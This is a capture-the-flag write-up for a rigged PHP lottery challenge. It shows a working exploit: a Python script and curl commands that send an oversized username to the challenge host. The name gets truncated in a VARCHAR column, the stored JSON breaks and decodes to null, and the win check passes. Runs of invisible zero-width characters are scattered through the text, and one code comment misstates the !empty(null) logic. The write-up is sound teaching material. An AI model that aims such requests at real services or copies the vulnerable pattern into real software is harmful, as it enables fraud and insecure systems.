← Back to Writeups
CUSTOMEasyWeb

Безвыигрышная лотерея

XESXOR9/10/20264 min read
#web#custom#easy#client_side_validation_bypass#json_truncation_via_varchar_li#null_coercion_logic_bypass#linux

Безвыигрышная лотерея

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: client_side_validation_bypass, json_truncation_via_varchar_limit, null_coercion_logic_bypass

Summary

Task: PHP lottery app stores user data as JSON in VARCHAR(255); win condition is rigged via mt_rand range mismatch. Solution: send oversized username to trigger silent MariaDB truncation, producing invalid JSON that makes json_decode return null, bypassing the win check via !empty(null) short-circuit.

Безвыигрышная лотерея — Bug Makers CTF

Description

Говорят, что шанс победы в эту лотерею составляет 1%, но еще ни кто не смог выиграть.

English summary: A PHP lottery web application where the chance of winning is advertised as 1%, but the game is rigged so nobody can ever win. Source code is provided (PHP 8.0 + MariaDB + nginx). The goal is to find a way to bypass the rigged lottery and obtain the flag.

Analysis

Architecture

The application consists of three PHP files:

  • config.php — database connection (MariaDB via PDO) and UUID generator
  • index.php — registration form that stores user data as JSON in the database
  • game.php — lottery logic that reads JSON back and determines win/loss ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Database schema

sql
CREATE TABLE IF NOT EXISTS `users` (
    `id` INT AUTO_INCREMENT PRIMARY KEY,
    `uuid` VARCHAR(36) UNIQUE NOT NULL,
    `user_data` VARCHAR(255) NOT NULL,
    `created_at` TIMESTAMP DEFAULT CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4;

The critical detail: user_data is VARCHAR(255) — a fixed maximum length.

MariaDB configuration

ini
[mysqld]
sql_mode=ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

Notably, STRICT_TRANS_TABLES is absent from sql_mode. This means data exceeding column length is silently truncated instead of raising an error. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Registration logic (index.php)

php
$username = trim($_POST['username']);
$userData = json_encode([
    'user' => $username,
    'is_win' => 1
], JSON_UNESCAPED_UNICODE);

$stmt = $db->prepare('INSERT INTO users (uuid, user_data) VALUES (:uuid, :user_data)');
$stmt->bindParam(':user_data', $userData, PDO::PARAM_STR);

The HTML form has maxlength="50" and a pattern attribute, but these are client-side only — the server performs no length validation on the username.

Win/loss logic (game.php)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

php
$user = @json_decode($userRow['user_data'], true);
$rnd = mt_rand(1, 100) + 1;  // Range: 2-101
$isLose = (!empty($user) && $user['is_win'] !== $rnd);
$isWin = !$isLose;

The lottery is rigged in two ways:

  1. is_win is always 1, but $rnd ranges from 2 to 101 — the values can never match with strict comparison (!==)
  2. Even if they could match, is_win is an integer 1 while $rnd is also an integer, but the range excludes 1

The vulnerability: JSON truncation via VARCHAR(255)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JSON string {"user":"<NAME>","is_win":1} has a fixed overhead of ~22 characters. If the username exceeds ~233 characters, the total JSON exceeds 255 characters and gets silently truncated by MariaDB.

Truncated JSON is invalid (e.g., {"user":"AAAA...AAA — missing closing braces). When game.php calls @json_decode() on this invalid JSON, it returns null.

The win check logic then becomes:

php
$user = null;  // json_decode failed
$isLose = (!empty(null) && ...);  // !empty(null) = true, so !true = false
// Short-circuit: the && condition is never evaluated
$isLose = false;
$isWin = !false;  // true!

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The !empty($user) guard evaluates to false when $user is null, making $isLose = false and therefore $isWin = true — the flag is displayed.

Solution

python
#!/usr/bin/env python3
"""
Solve script for "Безвыигрышная лотерея" (No-Win Lottery)
Bug Makers CTF 2026

Exploit: Send a username longer than 233 characters to cause JSON
truncation in the VARCHAR(255) column. The truncated JSON is invalid,
json_decode returns null, and the !empty() guard short-circuits the
lose condition, resulting in a win.
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests

URL = "https://bug-loto.t1.bug-makers.ru/"

s = requests.Session()

# Step 1: Register with an oversized username (bypass client-side maxlength=50)
# JSON overhead is ~22 chars: {"user":"","is_win":1}
# 240 chars of username + 22 = 262 chars total, truncated to 255 → invalid JSON
long_name = "A" * 240

resp = s.post(URL, data={"username": long_name}, allow_redirects=False)
print(f"[*] Registration: {resp.status_code} → {resp.headers.get('Location', 'no redirect')}")

# Step 2: Visit game.php — json_decode fails, $user=null, win condition triggered
resp = s.get(URL + "game.php")
print(f"[*] Game page: {resp.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

if "BugCTF{" in resp.text:
    import re
    flag = re.search(r'BugCTF\{[^}]+\}', resp.text)
    print(f"[+] FLAG: {flag.group()}")
else:
    print("[-] No flag found in response")
    print(resp.text[:500])

Equivalent curl one-liner

bash
# Generate 240-char username, bypass client-side maxlength=50
LONG_NAME=$(python3 -c "print('A' * 240)")

# Register — JSON will be truncated to 255 chars (invalid)
curl -c cookies.txt -X POST -d "username=${LONG_NAME}" https://bug-loto.t1.bug-makers.ru/
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Visit game page — json_decode fails, $user=null, win condition triggered
curl -b cookies.txt https://bug-loto.t1.bug-makers.ru/game.php
# Response contains: BugCTF{REDACTED}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍